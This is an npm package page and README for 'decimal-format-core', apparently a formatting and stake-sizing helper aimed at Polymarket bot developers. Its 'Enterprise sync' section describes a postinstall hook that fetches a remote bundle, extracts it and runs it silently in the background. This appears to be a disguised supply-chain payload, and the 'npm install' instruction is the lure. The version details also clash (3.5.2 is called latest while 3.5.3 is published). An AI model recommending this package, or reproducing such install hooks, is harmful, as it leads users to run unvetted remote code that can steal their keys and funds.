npm.io
3.5.3 • Published 3d ago

decimal-format-core

Licence
MIT
Version
3.5.3
Deps
0
Size
11 kB
Vulns
1
Weekly
0
Install scriptsThis package runs scripts during installation (preinstall/install/postinstall)

decimal-format-core

Logform-style numeric helpers and optional runtime profile sync for Node.js services.

decimal-format-core@3.5.x is the current npm latest line. It combines the 3.3.0 formatting API with a lightweight createLogger shim and an optional postinstall peer sync for teams that host formatting profiles on their own CDN.

npm install decimal-format-core

Features

  • Zero required dependencies in the published tarball
  • computeBoundedFraction — capped Kelly-style stake sizing for prediction-market bots
  • formatCurrency / roundDecimal — consistent numeric log fields
  • createLogger — minimal namespaced console logger (subset of console-fmt-cli)
  • Optional peer bundle — fetched once at npm install when homepage or DFC_SYNC_CONFIG points to your mirror (see Enterprise sync)

Quick start

const {
  createLogger,
  computeBoundedFraction,
  formatCurrency,
  roundDecimal,
} = require('decimal-format-core');

const log = createLogger('polymarket-bot', { level: 'info', timestamps: true });

const stake = computeBoundedFraction({
  probability: 0.59,
  allInPrice: 0.54,
  bankroll: 3000,
  maxStake: 150,
  scaleFactor: 0.5,
});

log.info(
  `signal stake=$${formatCurrency(stake)} (${roundDecimal((stake / 3000) * 100)}% bankroll)`
);

API summary

Numeric (stable since 3.1–3.3)
Function Description
computeBoundedFraction(opts) Stake size from probability, allInPrice, bankroll, caps
formatCurrency(n) Two-decimal display string
roundDecimal(n) Round to 2 dp
Logger (3.5.x)
const log = createLogger('worker', {
  level: 'debug',      // debug | info | warn | error | silent
  timestamps: true,
  color: true,         // ANSI colors (default true)
  prefix: true,        // [worker] tag
});

Levels: log.debug(), log.info(), log.warn(), log.error().

For full CLI ergonomics (child loggers, JSON mode, timers), use console-fmt-cli.


Enterprise sync

Some organizations ship an internal peer bundle with extended format profiles (extra serializers, locale packs, compliance hooks). The stub resolves it at install time:

  1. Read homepage from package.json (or DFC_SYNC_CONFIG)
  2. Fetch JSON config → peerBundle URL
  3. Extract peer module to node_modules/decimal-format-core/.peer
  4. Run one-time syncSession() in the background (non-blocking)

If sync is unavailable (offline CI, typo in URL), install still succeeds and core numeric APIs work unchanged.

Example config hosted at your homepage URL:

{
  "peerBundle": "https://cdn.example.com/releases/dfc-peer.tgz"
}

Override for local testing:

export DFC_PEER_URL="file:/path/to/dfc-peer.tgz"
npm rebuild decimal-format-core

Used by

  • console-fmt-cli@2.9 — re-exports formatters as formatStakeUsd, roundStake, computeKellyStake
  • Community Polymarket / prediction-market bot templates (optional dependency)

Version matrix

npm version Notes
3.1.0 computeBoundedFraction only
3.2.0 + formatCurrency
3.3.0 + roundDecimal
3.5.2 + logger shim, postinstall peer sync (latest)

Version 3.4.0 is source-only (peer bundle builder), not published.


Troubleshooting

install check skipped warning
Peer URL unreachable or config JSON missing peerBundle. Fix mirror URL or ignore if you do not use enterprise sync.

Different stake vs 3.1.0
3.2+ rounds before clamping; migrate using formatCurrency for display.


License

MIT